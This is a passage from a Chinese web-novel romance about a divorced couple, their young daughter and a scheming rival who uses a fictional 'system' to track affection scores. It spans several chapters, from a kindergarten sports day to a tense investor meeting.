她甚至觉得周漾不记得更好。反正不管对方记得还是不记得,对他们的关系都不会有什么实质性的影响。两人目前都没有想要再进一步的打算。 她和周漾之间隔着一层很薄的窗户纸,两个人都在纸的两边站着,都知道纸后面是什么,但谁也不伸手。因为纸破了,她们就得重新面对一个问题——她们到底是什么关系,还要不要更进一步? 这个问题太难了。 比设计一季衣服的新品难得多。 裴苒低下头想了想,说,“我不知道自己有没有准备好。如果她今天早上没有假装不记得,反而认真坐下来跟我说昨晚的事,我也不知道该怎么回应。” 重新开始? 那对方曾经经历过的伤痛又该怎么清算? 就这么轻描淡写的原谅了自己,周漾会心甘情愿吗? 宋青青沉默了一会儿,叹了口气。 “我觉得她对你还是有情的,你应该再自信一点” 裴苒站起来:“后面再说吧,我先去改稿。”她现在还不想考虑这个问题。 宋青青体贴的没有说话,让她一个人安静的想。 工作室安静下来。 裴苒坐在工作台前,打开设计稿,铅笔拿起来又放下。她伸手摸了摸锁骨上那个创口贴,摸到胶布边缘微微翘起的那一小角。 她想起周漾贴创口贴的时候手指贴在她皮肤上的温度。 重新开始比彻底结束更难。 她和周漾,谁都没有这个勇气。 19. 你好,我是念念的母亲 周念的幼儿园周六上午有亲子活动,为此,裴苒专程腾出时间来陪她。 才早上七点,念念已经换了三套衣服。 “妈妈,这件好看还是这件好看?” 她把一件粉色卫衣和一件黄色毛衣举在手里,小脸皱成一团,表情严肃得像是要参加联合国会议。 裴苒被女儿郑重其事的严肃逗笑了,指了指粉色的那件,“上面有小兔子,跑起来的时候耳朵会晃,感觉很适合你。” “可是黄色的有花花哎。”念念撅着嘴,显然已经在这两件衣服之间纠结了很长时间。 “粉色。”周漾从卧室走出来,已经换好了白色运动外套和深色长裤,头发扎成低马尾,清爽利落。 “黄色那件衣服不适合做亲子活动,到时候跑起步来绑带会掉。” 念念虽然还是很纠结,但她相信周妈妈的判断,于是乖乖套上了粉色卫衣。 裴苒在旁边看着这一幕,心里有些不是滋味。 什么嘛…她说的话念念就不听,周漾的话,念念就听…… 吃醋了! 裴苒撅起小嘴,一副想发作又不好意思发作的样子。毕竟和周漾争锋吃女儿的醋,总让人觉得有些不好意思。 “裴苒。”周漾叫了她一声,递过来一件叠好的外套,“外面起风了,带件薄的。” 裴苒惊讶接过外套,没想到竟然还有自己的份。 等她套上外套才发现,自己身上这件衣服和周漾身上的那件衣服配色十分相似,看上去就像是情侣装一样。 “走吧。”周漾拎起念念的小书包。 念念蹦蹦跳跳地冲到门口,一手拉着裴苒一手拉着周漾,把两个人的手往一起拽。“今天要一家三口一起赢!” 听到‘一家三口’这4个字,裴苒和周漾对视了一眼,又默契的一起移开双眼,不敢去看对方的眼睛。 两人都不知道对方究竟是怎么想的,因此也不敢轻易跨越雷池一步,生怕打破现在微妙的平衡。 幼儿园门口挂了一条红色的横幅,写着“阳光亲子运动会”六个大字。 操场上已经搭好了几个活动区,沙坑边上插着彩旗,滑滑梯旁边摆了一排小板凳。 来的家长不少,大部分是一家三口,也有几个是爷爷奶奶带来的。 念念一进校门就变成了社交达人,和每一个路过的小朋友打招呼,然后郑重其事地介绍:“这是我妈妈,这也是我妈妈。” “哇,你的妈妈们好漂亮,以前怎么没有见过你的另外一个妈妈?”一个扎羊角辫的小女孩好奇地问。 念念摇头晃脑的解释,“我的另外一个妈妈很厉害,她一直在国外工作,最近才回国。” 刚刚‘回国’的裴苒有些心虚,没想到这母女俩对外商量好了一致的措辞。她只好假装咳嗽来掩饰自己尴尬的表情。 亲子活动第一项是三人四足。老师给每组家庭发了绑带,要求三个人的相邻脚踝绑在一起,配合走到终点。 念念站在中间,左手牵着裴苒,右手牵着周漾,像个正在排兵布阵的小将军。 “妈妈,周妈妈,你们要配合好。我喊一,迈外面的脚。我喊二,迈里面的脚。不要乱!” 裴苒之前没有训练过,有些紧张:“你们提前练过吗?” 念念:“周妈妈带我在客厅练了两天,把茶几都撞歪了!” 裴苒抬头看了周漾一眼,周漾正蹲在念念另一边,低着头认真地调整绑带的松紧。她的侧脸被晨光勾出一道干净的线条,耳后有一小缕碎发落下来,随着她低头的动作轻轻晃动。 哨声响了。 念念在前面喊口令,声音又尖又亮,三个人配合得意外默契。 裴苒节奏感好,周漾虽然协调性一般但反应快,每次快要绊倒的时候都能及时调整。 从起跑线到终点线,一路畅通无阻。冲线的瞬间,念念整个人跳起来尖叫:“第一名!我们是第一名!” 旁边几组家庭还在半路上磕磕绊绊。有一组爸爸已经摔了两跤,鞋都飞了一只。念念看着那只飞出去的鞋,笑得前仰后合。 周漾也笑了。 她笑起来的时候和平时完全不一样——眼睛会弯成一个小小的弧度,嘴角往两边牵,露出一排整齐的牙齿。 裴苒看着她笑的样子,破碎的记忆忽然浮上心头。 她想起她们刚结婚那年,周漾还会在沙发上看综艺笑得前仰后合,在那些没有被生活磨掉的缝隙里,她还会露出毫无防备的笑容。 只是后来…… “妈妈!”念念出声打断她的思绪,拉着她去玩滑滑梯,又去沙坑里堆沙堡。 裴苒坐在沙坑边的长椅上,看着念念用小铲子往桶里装沙,周漾去买水。 阳光从头顶的梧桐树缝隙里漏下来,在地面上投下一片一片的光斑。念念的头发被风吹得毛毛的,她今天早上自己扎的揪揪已经歪了一个,裴苒伸手帮她重新绑了一下。 “周妈妈怎么还没回来?”念念往操场边看了一眼。 裴苒也看过去。 操场边上有一个小卖部,周漾站在冰柜前挑饮料。但她旁边多了一个人。 一个卷发,穿驼色风衣的女人,正笑着和周漾说话。 裴苒认出了那个 女人。 那是她第一次去漾华实业找周漾签合同。当时隔着办公室玻璃看见的那个和周漾态度亲密的女人。就是她。 现在,对方正站在周漾旁边,手里端着一杯咖啡,姿态从容,笑容得体,一看就是那种在社交场合游刃有余的类型。 念念也看到了,好奇的问:“妈妈,那个阿姨是谁?她怎么在跟周妈妈说话?” “应该是周妈妈的朋友吧。”裴苒说。 她也不确定两人的关系,但女人的直觉告诉她,她和周漾之间,似乎并不是普通朋友的关系。 “我不喜欢她。”念念皱了皱小鼻子。 “为什么?” 周念一向很有礼貌,裴苒很少从她口中听到如此直白的对一个人的讨厌。 “她看周妈妈的眼神,就像我看草莓蛋糕一样。” “嗯……”周念说:“想一口吃掉。” 裴苒愣了一下,然后差点笑出来。念念的比喻永远精准得让人无法反驳。 周漾和卷发女人说了几句话,然后拎着几瓶水往沙坑这边走。 卷发女人没有离开,而是跟着她一起走过来了。 裴苒站起来,感觉到自己的脊背本能地挺直了一些。 走到长椅前,周漾把水递给裴苒,给她介绍:“介绍一下,这位是南希,我们一直合作的设计师,也是漾华的投资人之一。” 南希,裴苒在心里重复了一遍这个名字。 看来对方在周漾心里是一个很重要的位置。 南希远比刚才在远处看到的要年轻许多,大概三十出头,卷发打理得很精致,妆容不浓不淡,恰到好处,整个人从头发丝到鞋尖都透着一股精心维护的高级感。 和自己相比……裴苒竟然有些自惭形秽。 “裴苒,”南希笑着伸出手,声音柔和。 “之前在周漾办公室见过你一次,不过应该没来得及打招呼。” “你好。” 裴苒和她握手,南希的手很软,温度刚好,握的力度不轻不重。 “你好。”裴苒收回手,语气客气但不过分热情,“我是…” 她不知道该怎么和对方介绍自己的身份,于是只说:“我是念念的母亲。” 空气在那一刻微微凝了一下。 南希的笑容没有变,但她眼角的弧度僵了一瞬。 她偏头看了周漾一眼。 那个眼神很快,但裴苒看得很清楚——那是一种确认,一种在重新评估的眼神。 南希以为周漾是单身。 至少,她之前一直以为自己在追的是一个单身的人。 20. 她知道你离过婚吗? 说完自己是周念的母亲后,裴苒悄悄看了下周漾的表情。 她其实不太确定周漾是否想要在外人面前透露自己和她还有念念之间的关系,但除了这个解释,裴苒也想不出其他更好的说法。总不能让她和南希说,‘你好,我是周漾的前妻’吧?这也太不体面了。 好在周漾脸上的表情没有什么变化,甚至在裴苒说完这句话后,她周身冷冽的气质都瞬间柔和了许多。 南希脸上僵硬的笑意很快恢复原样。 她低下头看着在沙坑玩沙子的念念,笑容重新变得完美无缺:“宝宝,你叫什么名字呀?” 念念抬头看了她一眼,没有像平时那样热情地自我介绍,但也很有礼貌的回应:“阿姨好,我叫念念。” “念念真可爱。”南希蹲下来,语气温柔得像幼儿园老师,“刚才我看到你和两个妈妈一起跑步,跑得好快呀。” 小孩子被夸总是高兴的,念念得意的说:“因为我们提前练习过,念念的妈妈们都很厉害的。” 五岁的小孩不懂得伪装,但裴苒能从对方的语气中听出一丝戒备。看来念念也和自己一样,对这么突然出现在周漾身边的女人心存警惕。 南希站起来,看向裴苒。 那是一种毫不掩饰的打量。 她比裴苒矮了大概小半个头,需要微微仰着脸才能和裴苒平视,淡整个人保持着一种柔和的优雅的状态,矜持的像一只白天鹅:“裴小姐,念念和你一样漂亮,尤其是眼睛。” 突然被夸,裴苒有些意外的道谢:“啊...谢谢。” 南希重新笑起来,声音依旧温柔,似是感叹:“能有你和周总这样的妈妈,念念真是好福气啊。” 她低头看了一眼手表,轻声惊呼,“啊,我得去找我侄女了。她在中班,我今天是替她妈妈来的,她妈妈临时出差。” 说完,她转向周漾,轻轻拍了一下周漾的手臂,“项目的事回头我们再细聊。”动作很轻,指尖在周漾的袖子上停了不到一秒,分寸拿捏得恰到好处。 南希转身离开,她的背影在梧桐树的光影里渐行渐远,每一步都踩得不紧不慢。不知道为什么,裴苒总觉得对方有些来者不善。 明明对方什么也没做,只是和自己、念念打了个招呼,她却有种莫名不舒服的感觉,像是被某种阴险狡诈的动物盯上了的错觉。 沙坑边安静下来。念念已经重新投入了她的沙堡工程,正在用塑料铲子往桶里装沙,嘴里念念有词:“塔的地基要加固,不然会被怪兽推倒啦!” 裴苒坐在长椅上,手指轻轻转着水瓶。周漾站在她旁边,沉默了一会儿,然后在她旁边坐下。两个人之间隔了一个拳头的距离,谁也没有先开口。 “这个南希...”终于还是裴苒先忍不住,“她不仅仅是设计师,还是漾华的投资人吗?” 在见到南希之前,裴苒都快忘了自己是穿越来的这件事。如今才回想起来,在这个世界,自己只是炮灰女配,真正陪周漾渡过难关的女主另有其人。 不知道为什么,在这个世界生活越久,裴苒对之前的记忆就越模糊,反而是对这个书里的世界产生无比真实的眷恋。 等她抽空一定要好好问问小七,这一切究竟是怎么一回事。 周漾并没有回避自己和南希的关系,坦诚道:“是的。” 不仅如此:“她是破产后,第一个对我伸出援手的朋友,期间一直鼓励我重新振作,可以说公司能重新上市,南希功不可没。” “我从内心尊重和感激她。” 听到这话,裴苒脸上的假笑都有点维持不住了。 一个是破产后卷走所有钱财另寻金主的恶毒前妻。一个是破产后伸出援手给予助力的白月光一般的存在。有脑子的人都知道怎么选。 如果说原本裴苒还对自己和周漾复婚这件事有点信心,此刻,在知道南希和周漾的关系后,她心里那点隐秘的自信也彻底消失不见了。 她尽可能表现出毫不在意的模样,试图和周漾开玩笑:“你这位朋友好像对你有意思呢...” 周漾微微皱眉,似乎很不赞同这个看法,“我们只是很好的朋友。” 周漾觉得自己和南希的关系应该就像裴苒和宋青青一样,都是那种救人于水火之中的朋友,没有什么好质疑的。 此刻,裴苒的试探和怀疑,让她有些不高兴。 裴苒拧开瓶盖喝了一口水。水很凉,顺着喉咙滑下去,把胸口那团说不清是什么的温度压下去了几分。 “那她知道你离过婚吗?” “知道。”周漾转过头看着裴苒,“我和她说过我有前妻,但我没提过你的名字。” 今天在幼儿园撞上南希确实是个意外,周漾回忆了一下刚才南希看着自己和裴苒时的眼神,猜想:“她可能误会了我们之间的关系,以为我们重新在一起了。” 裴苒注意到周漾的用了‘误会’两个字。 看来在周漾心里,自己只是念念的妈妈,仅此而已,至于其他不该有的关系,从始至终都是自己多想了。 裴苒冷笑了一下,没再说话。 周漾只是在陈述客观事实,并不知道哪句话惹怒了裴苒。 但她敏感的察觉到她在生气。 以前吵架的时候也是这样,裴苒只要一生气,脸上的表情就会瞬间冷下来,什么话也不说。她需要把人紧紧抱在怀里哄很久,对方才会露出一点笑意。 她本能的又想去哄裴苒。 可她们现在的关系并不适用曾经亲密时的方法,因此周漾只得呆坐在裴苒身边,陪着她一起冷脸,直到周念抬起头问:“妈妈,周妈妈,我们不回家了吗?” 两个互相赌气的人才如梦初醒一般,从长椅上站了起来。 “周漾。”裴苒开口。 “嗯?” “我不喜欢这个南希。” “...” 周漾好一会才问:“为什么?” 裴苒:“不喜欢一个人也需要理由吗?” “...”按照裴苒的性格,不喜欢一个人确实不需要理由。 “好吧。”周漾没有权利评判别人的喜恶。再说了,裴苒喜不喜欢南希这件事对她而言也没什么影响,反正她们又没有什么联系。 “所以我不同意她当 念念的继母。”裴苒总算说出了自己想说的重点。 周漾惊得下巴都要掉了:“你在说什么呀?” 她震惊的看着裴苒,一开始还不明白对方为什么不喜欢南希,直到裴苒提到什么‘继母’才回过味来,嘴角弧度弯出一个真心的笑来,“你是不是误会了什么?” 裴苒臭着一张脸,冷酷的说:“我可没有误会。”或许周漾对南希确实没有别的想法,但女人的直觉告诉她,这个南希对周漾一定有别的想法。 她讨厌南希。 非常非常非常讨厌。 她讨厌所有无缘无故出现在周漾身边的女人。 她已经被周漾宠坏了,无论是两人离婚前还是离婚后,周漾都从未变过对她的好,一想到从今以后将会出现另一个女人替代自己陪在周漾和念念的身边,裴苒觉得自己一定会吃醋疯掉。 她的脸上从来藏不住任何表情,因此周漾轻而易举捕捉到她愤怒的缘由。 对方的笑容中藏着一丝不易察觉的宠溺:“我可以理解为,你是在吃醋吗?” 裴苒被戳穿心思,脸颊红了一片,她没有回答,而是直接跑到念念那里去,牵着她的手往前走。周漾只好紧跟其后。 走到停车场的时候,周漾忽然叫住她“裴苒。” 裴苒的脚步停了一瞬。 周漾顿了一下,表情有一瞬间的犹豫,“南希跟我约了下周的一个饭局。不是单独约的,是和几个投资人一起。” 虽然以两人目前的关系,自己并没有一定要对裴苒解释什么的需要。但裴苒这么爱吃醋,如果自己不告诉对方要和南希一起吃饭,她可能会再生气。 裴苒生气起来很难哄。 就算她想哄,目前也没有哄的权利。 所以她不想让裴苒生气。 裴苒把念念的小书包放进后座,直起腰来气鼓鼓的看着她:“你告诉我这个干什么?我又不是你的谁,你没有必要向我汇报工作安排。” 周漾站在车门旁边,手里拿着车钥匙,表情很无奈:“那如果我不告诉你,你会生气吗?” 裴苒当然会生气,但是裴苒嘴上不说。 周漾想用以前哄她的方式让她不要那么生气,但是想了想觉得不太合适,于是稍微收敛了一些,只是轻轻牵住她的手。 十指相触的一瞬间,裴苒忽然就感觉气消了。 周漾牵起她的手,像在哄念念一样,左右摇晃了几下。明明是在哄她,说起来的话却像在对她撒娇:“我现在告诉你了,可以不生气了吗?” 裴苒的脸上终于露出笑意:“嗯。”她故作高冷哼一声,像一只傲娇的猫挣脱了她的手,打开车门坐进了副驾驶。 周漾看着这只从自己手中挣脱而出的纤纤玉手,忍住想将人拽回怀中狠狠欺负的冲动。原地做了个深呼吸后,也打开车门进了主驾。 车子驶出停车场,车窗外的梧桐树一棵一棵地往后退。阳光从树叶间穿梭,在车窗上碎成一片流动的光斑。 周漾偷偷看了眼坐在副驾,被阳光染成金色的裴苒,嘴角不自觉露出一抹微笑。 如果能一直这样,就好了。 22. 白月光和前妻,谁更胜一筹? 南希离开幼儿园后,把车停在距离幼儿园两条街开外的一个露天停车场里。她的手指有一下没一下地敲打着方向盘,裸色指甲在皮革上留下几点细微的划痕。 那个裴苒比她预想的要难缠。 亲子活动开始前,南希本以为今天会是一场顺利的相遇。偶遇周漾,在念念面前留下温柔阿姨的印象,顺便试探一下周漾现在的感情状态。 作为拯救周漾于危难之际的白月光,一切本该发展的非常顺利才对。可她偏偏遇到了裴苒,这个被她夺舍过三年,脑子里塞满了虚假记忆的原主。 她以为周漾被灌输了那段虚假及以后,应当会非常恨裴苒才对,以她的性格,绝不可能再和对方有任何交集。 可对方不仅和裴苒一起来给周念开家长会了,甚至两个人之间的关系看起来还缓和了不少,根本不像是‘恨’的状态。 南希心中有一瞬间慌乱。 周漾真的很敏锐,三年前,她就已经被她拆穿过一次,不得已之下花光了自己所有积分才换来一次修改剧情的机会。 她本以为自己这次的选择一定万无一失了,可没想到这个该死的原主裴苒竟然还阴魂不散的缠在周漾身边。 南希把车窗摇下来一条缝,让凉风灌进来,自己则闭上眼睛,用意识呼唤主神新分配给她的辅助系统。 叫什么名字来着? 好像是007。 听蓝色系统说,这个007只是个新手系统,至今还没有完成过一次业绩,原绑对方绑定的宿主是裴苒,只是因为绑定无效后才更换成了自己。 算了,有系统总比没有强。 “007。”她在识海中呼唤对方的名字。 短暂的沉默后,一个声音从她的识海内响起:“宿主您好,我是代号007辅助系统,请您下达指令。” 中规中矩的回答,听起来还挺有礼貌。 南希以前合作过的系统都是老练沉稳的前辈,现如今换成这个新兵蛋子系统,她还有些不太放心。 “听说是你主动申请的继续保持和裴苒的绑定?”南希问。 小七回答:“是的,继续保持和裴苒的绑定,我可以随时替您关注道那边的情况,及时汇报。” “很好。”南希对这个回答还算满意,没想到这个新来的系统还挺聪明,有它在,自己肯定能事半功倍。 感觉到小七的靠谱后,她直接进入正题:“周漾现在对我的好感度是多少?” “75。”小七报出一个不算高但也不算低的数字。 “监测到周漾对您的好感度主要来自破产时期的帮助和商业合作的信任。” “您在周漾心中的定位是‘重要的合作伙伴和恩人’,目前尚未检测到明显的恋爱倾向。” 南希对这个数字并不感到意外。 75的好感度放在小世界里绝不算低,在攻略任务里,70属于朋友的顶点,80以上才算拥有明显超于友情的好感,90以上才是爱意。 她需要把周漾对自己的好感度提升至95,才算攻略任务完成。 对于75这个分数,南希心里还算满意。 周漾把她放在了一个很微妙的位置。比朋友高一点,但离恋人还有一段距离。 当然了,她知道周漾这个人防备心很重,能在她这里拿到75的好感度,已经是她花了好几年时间铺路的结果。 回忆起自己当初夺舍裴苒的时候,她太急于求成了,以为只要有了裴苒的身体就能顺理成章地接管裴苒的人生,结果被周漾一眼识破。 她那时不明白自己哪里露出了破绽,后来复盘时才发现,周漾居然会记得裴苒每一个下意识的细微习惯。 攻略者可以顶替一个人的身体,但却复制不了那个人二十多年积累下来的所有下意识的反应。 所以这一次她换了策略,她不要用裴苒的身份攻略周漾的心,她要成为周漾离不开的那个人。 现在,她唯一有些紧张的就是周漾对裴苒的好感度。 “你能看到周漾对裴苒的好感度是多少吗?”南希继续问。 经过系统升级后,小七现在已经完全能够看见周漾对裴苒的好感度,高达87,距离产生爱意只差临门一脚。 小七知道,要想让两人之间的关系更进一步,还需要一个契机。 不过它留了个心眼,没有对南希说是真话。 “周漾对裴苒的好感度是60-80之间。”好感度竟然是左右摇摆不定的! 南希的手指在方向盘上停了一瞬。 周漾的记忆是她当年离开时亲手篡改的。 她给周漾灌输了“裴苒抛妻弃子”的虚假记忆,但那次记忆抹除并不完美,周漾对裴苒的感情太深了,深到即使被篡改的记忆告诉她“这个女人伤害过你”,她的情感本能仍然在反抗那些虚假的数据。 哪怕被裴苒伤害的这么深,周漾对裴苒的好感度依然在60-80之间反复横跳。 这对南希来说既是好消息也是坏消息。 好消息是,周漾还没有完全倒向裴苒。坏消息是,即使被篡改了记忆,周漾对裴苒的感情本能仍然强大到足以干扰那些虚假的记忆。 不过这似乎也可以理解?周漾这个人对感情太认真了,认真到即使离了婚,也不会轻易把前妻从心里清空。 裴苒毕竟还是周念的亲生母亲,就算是看在女儿的份上,周漾也会给对方留几分情面的。 南希在心里安慰自己,又继续问:“那裴苒对周漾的好感度呢?” 她现在更想知道,裴苒有没有意和自己争抢周漾。 如果她肯老老实实在这个世界继续当她的炮灰前妻的话,她倒是也可以大发慈悲放她一马。 但如果对方执意要和自己争抢周漾....那可就别怪她不留情面了。 她还就不信了,自己还能在这个小世界里连续栽两次跟头不成? 小七很快回答:“检测到裴苒对周漾的好感度是70。”目前来看,也就是作为朋友的顶点。 看来裴苒对周漾并没有太多的想法,两人之间只是维持着一种礼貌的亲情关系,如果不是有周念这个女儿作为纽带在,恐怕会老死不相往来吧。 真该死,要是周念能死掉就好了。南希忍不住 恶毒的想。 她一点都不喜欢这个孩子,还偏偏得装作很喜欢小孩的样子和她互动玩耍,真是想吐。 可偏偏周念还是提高周漾好感度的关键所在,她不得不违背自己内心的真实想法来讨好对方。 “你继续监视裴苒。”南希说:“她每天和周漾的接触频率、以及和周念的互动模式、她对我的好感度变化,这些数据我都要。” “明白。”小七的声音依旧是毫无感情的机械音,没有任何多余的情绪波动。 “宿主还有其他指令吗?” “暂时没有。” 说完,南希满意地切断了通话。 · 上午九点,杨助理准时推开总裁办公室的门,把当天的行程单放在周漾桌上。 她汇报完常规事务之后,又补充了一句:“这次新项目的联合投资评审会,三家投资方都会派人来,南希小姐代表她们那边的基金参会。” 周漾翻文件的手停了一瞬,“知道了。” 她放下手里的文件,有些疑惑的问杨梅:“这是什么需要我特别了解的消息吗?”杨梅作为周漾的得力助手,做事向来细心,不太会无缘无故提到对方。 呃,杨梅说:“南希小姐上周发了几封邮件询问项目组的财务模型细节,市场部的人说南希小姐每次回复都极其仔细,所有数据都提前核对过,对这个项目非常上心。” 周漾还是不太明白杨梅的用意。南希的工作能力大家有目共睹,作为她的合伙人,周漾自然也是非常了解的。 “所以呢?” 杨梅本意是想帮南希说些好话,毕竟对方每次来总裁办都会给自己和其他工作人员额外带些礼物,赢得了公司许多人的好感。 所有人都看得出南希对周漾有些不同寻常的感情,奈何她们的总裁自己却毫无察觉。 “我的意思是,要不要调整南希小姐的座位,和您坐在一起?” 原来是这件事。 周漾的手指在桌面上轻敲了两下。 杨梅的措辞无懈可击,但周漾还是听出了她在为南希说话,看来南希和她总裁办的这些员工们关系非常好。 周漾对座位这种事其实无所谓,能和南希坐在一起她自然很高兴,但想到某位爱吃醋的前妻,周漾直接否掉了杨梅的提议。 “不用把我们的座位放在一起,就让她和其他代表团的人坐在一起。” 另外,她又补充了一点:“以后所有的座位安排,避免我和她连在一起。” 杨梅错愕的看着周漾,似乎没想到对方会这么说。 她之前看南希和周漾关系亲密,还以为两人好事将近,心里都做好了迎接新老板娘的准备。可就是这短短几个月的时间,自从裴苒重新开始和周漾接触,风向就又变了。 所以,还是最喜欢前任吗? 杨梅在笔记本上快速记下这件重大事件,转身出去的时候轻轻带上了门。 作为一个优秀的总裁助理,总裁喜欢的就是她喜欢的,总裁不喜欢的,就是她不喜欢的。 看来以后,她要对裴苒好一点,再离南希远一点。 23. 她还比不上裴苒一根脚指头 会议室的门被推开,南希今天特意穿了一套米白色的西装裙,头发盘得松而不乱,耳边留了两缕碎发,确保自己弯腰进门时,纤弱的发丝能够恰到好处地垂下来,显得既美丽又动人。 “南希小姐来了。”门口的投资方代表热情的和她打招呼。 南希微笑着点头,目光越过对方的肩膀,找到了长桌主位上的那个人。 周漾正低头翻会议资料,藏青色西装,白色衬衫,袖口的扣子扣得一丝不苟。她翻页的动作很快,显然对这份报告已经烂熟于心。 南希没有急着走过去,她在门口停了两秒,然后才往长桌走去,她脚步轻快的越过最后的位置,直直向周漾的方向走去。 坐在南希旁边的投资人已经看到了她的姓名牌,想出声提醒她具体的位置所在,但南希的眼睛直勾勾的盯着周漾的方向,似乎笃定自己的位置一定在周漾身边,因此看都没有往别的地方看。 她自信满满的走到周漾身边和她打招呼,但当她抬眼去找自己的名牌时却愣住了,周漾身边的座位牌上写的是另一个投资方的名字,并不是自己的。 一瞬间,南希脸上那略显得意的表情僵住了。 此刻,已经有人将目光投向她,她只能尴尬的假装自己是专程和周漾打招呼的,简单寒暄几句之后,又退回去继续找自己的座位。 她的目光一个个扫过桌面上的名牌。 第一个名牌,不是她。第二个名牌,也不是。 第三个,第四个,第五个.... 南希的高跟鞋趾高气昂的踩在地毯上,没有发出任何声响,但她心里有什么东西正在一点一点往下沉。 终于,她在长桌最末端,距离周漾最远的地方,找到了属于自己的名牌。 坐在她身旁的人对她尴尬的笑了一下:“你刚刚走过去的时候我就想提醒你的,但是你没注意到我。”那可不能怪他没提醒她。 南希尴尬而不失礼貌的说了句谢谢,但脸上的表情已经阴沉的吓人。 杨梅这个蠢货究竟是怎么安排的座位?怎么会给她安排到离周漾这么远的位置,简直是白瞎了自己平时给她的那些小恩小惠。 她抬头看向周漾的位置,周漾正在侧头和旁边的杨梅说什么,眼睛根本没往自己这个方向看。 至于负责安排座位的杨梅...杨梅手里抱着平板,正低头记录着什么,一眼也没有抬头看向她这里。 或者说,是因为心虚,所以根本不敢看向她这里。 旁边的人提醒道:“南希小姐,快入坐吧,会议马上就要开始了。” 南希在心里咬牙切齿,但脸上还不得不摆出一副好心情的说了句:“好的。” 椅子四角在地毯上无声地陷进去,她的手指在膝盖上慢慢收紧。 会议整体按流程走。 周漾做项目汇报,语速不快不慢,数据信手拈来。每翻一页PPT都会留出提问时间,长桌两侧的投资方代表轮番发问,再由周漾本人一一解答。 对方的目光在会议室里来回扫过,看PPT、看提问者、或是看杨梅递过来的数据平板。 偶尔,对方也会往长桌末端看一眼,但目光从没有在任何一个人身上停留超过一秒,这些人中当然也包括南希。 南希还从未被无视的这么彻底过,不由从心底生出一种莫名的惶恐。这种失控的感觉很像自己当初顶替裴苒,然后被周漾拆穿时的感觉,让她非常不安。 中场休息的时候,杨梅起身给周漾续茶,南希趁机站起来走到长桌中间,和她搭话。 “杨助,我的座位是不是排错了?”南希笑着问,语气像是在开一个无关紧要的玩笑,“这是要把我‘流放’了吗?” 杨梅停下手里的动作,语气有些歉意,但仍然一副‘公事公办’的态度:“座位是按投资份额排的,南希小姐,今天三家基金都在,只好委屈您了。” 南希脸上的笑容不变,但她端着咖啡杯的手指微微收紧了一下。 什么狗屁的投资份额。 她当然知道这不是真正的理由,只是杨梅用来堵住她嘴的借口罢了。 上一季的评审会,她的投资份额和今天完全一样,当时她的座位就安排在周漾旁边,怎么这次就变了? 但杨梅把“投资份额”这四个字搬出来了,表明了就是要“公事公办”,要是她继续追问,就显得有些不懂规矩了。 “原来是这样。”南希尽量让自己的语气显得温和一些,“是我多想了。” 她转身走回自己的座位,屁|股坐下去的那一瞬间,连后槽牙都咬紧了。 等会议结束以后,另外两家基金会的代表全都走了,只剩下南希还站在会议桌旁边慢条斯理地收拾文件。直到最后一个外人都出了门,她这才拎起包往周漾那边走去。 周漾正站在窗边看手机,背对着门口,南希走到她身后两步远的地方停下来,随意和她闲聊。 “周漾。” 周漾转过头,见到南希竟然还没走,还以为是工作上有什么问题:“怎么了?” 南希状似无意般提起今天的座位安排,“今天我运气似乎有点不太好,居然被安排到了离空调口最近的位置,冷风一直吹,冷死了。” 她没有指责杨梅位置安排的不好,只暗戳戳的表示自己被空调的冷风吹得很难受。 果不其然,周漾听到这话后,脸上立刻露出内疚的表情:“抱歉,是我考虑不周,下次我让杨梅给你安排其他位置。” 南希注意到周漾说的是‘给她安排其他位置’,而不是‘让她坐到自己身边’。 她假装毫不在意道:“就之前的位置就挺好啊,和你坐在一起,也能方便我们两沟通交流嘛。” 周漾的表情有些为难。 她其实是因为私人原因才刻意避免和南希坐在一起,但这个原因,她又不方便对她讲。 毕竟她和裴苒现在还没有什么实质性的关系,她 这般刻意避嫌,倒是显得有些多此一举。 好在杨梅及时为她解围,脸上带着无可挑剔的笑容对南希说:“南希小姐,周总旁边的位置也是正对着空调的,恐怕您坐不习惯。后面我会注意为您安排吹不到空调的位置,保证您的舒适度。” 难题就这么被杨秘书解决了,周漾感激的看着杨梅一眼,头一次发自肺腑的想要给杨秘书涨工资。 南希本以为自己的说辞万无一失,没想到被半路杀出的杨梅轻飘飘两句话化解,顿时有些怒上心头,偏偏还得端着清高的假面,赞同对方英明的安排。 无奈之下,她只得僵硬的转变话题:“对了,上次在幼儿园碰到你和裴小姐,你们现在...是复婚了?” 周漾微微皱眉,大约是觉得这个问题有些冒犯。 但南希的身份又和普通朋友不太一样,她是在她最危难之际第一个对她伸出援手的人,在周漾心中,是区别于其他朋友的存在。 于是,尽管不怎么乐意回答这种私人问题,周漾还是耐着性子说:“我们没有复婚。” 南希本该见好就收,但她还是没忍住,多嘴问了一句:“那你们现在是?” 如此一来,就算周漾再怎么迟钝,也察觉到了一丝不对劲。 她惊讶于发现朋友隐秘的心意,同时又为承担这份心意而感到沉重不已。如果可以,她想永远和对方保持最纯真的友情,而不是掺杂着其他什么。 “南希。”周漾打断了她,“因为我们认识很久,所以我有义务对你说真话。” 周漾脸上的表情很认真,也很诚恳。 “你是我非常重要的朋友,虽然我不太乐意分享我的私事,但既然你问了,我就告诉你。” “我和裴苒目前没有复婚,后续能不能复婚也很难说,这不是我一个人可以决定的。”就算周漾想复婚,也要看裴苒愿不愿意。 “但她是念念的妈妈,这一点,无论我们复不复婚都不会变。”在她和周念的心里,永远都会有裴苒的一席之地,因为她们是比爱情更未牢固的亲情关系。 这是永远割舍不掉的。 周漾的这短话堪称坦诚相待,但听在南希的耳朵里,却比任何带有攻击性的回答都要更加刺耳。 南希安静了片刻,眼底浮现出一层薄薄的冷意,她优雅且大度的笑了一下,把碎发别回耳后。 “那真是太好了,念念能有妈妈陪在身边,对你对她都是一件好事。”仿佛刚才她的问话并没有什么其他企图,是周漾自己误会了。 她看了一眼手表,像是突然想起还有别的事,“下午我还有个项目要考察,不耽误你了。” 周漾:“辛苦。”周漾自认为解释的已经非常清楚,就算南希真的对自己有什么想法,这次之后,应该也会清楚明了了。 南希转身走出会议室,忽然明白了一件事。 她自以为特殊的白月光身份,在周漾心里,恐怕还抵不过裴苒的一根脚指头。 25. 南希空口鉴抄被打脸 裴苒按照地址来到画廊的时候,沙龙已经提前开始了。 城西这家画廊是由旧厂房改造的,红砖墙上满是爬山虎,铁艺的吊灯从天花板上垂下来,显现出一种和小城镇完全不相符的艺术感。 来参加本次沙龙的不仅仅是独立设计师,还有许多本地的面料商、品牌方。他们三三两两的端着香槟杯,站在一起寒暄,眼里都闪烁着精光。 裴苒站在入口处扫了一眼全场众人,很快就找到了南希。 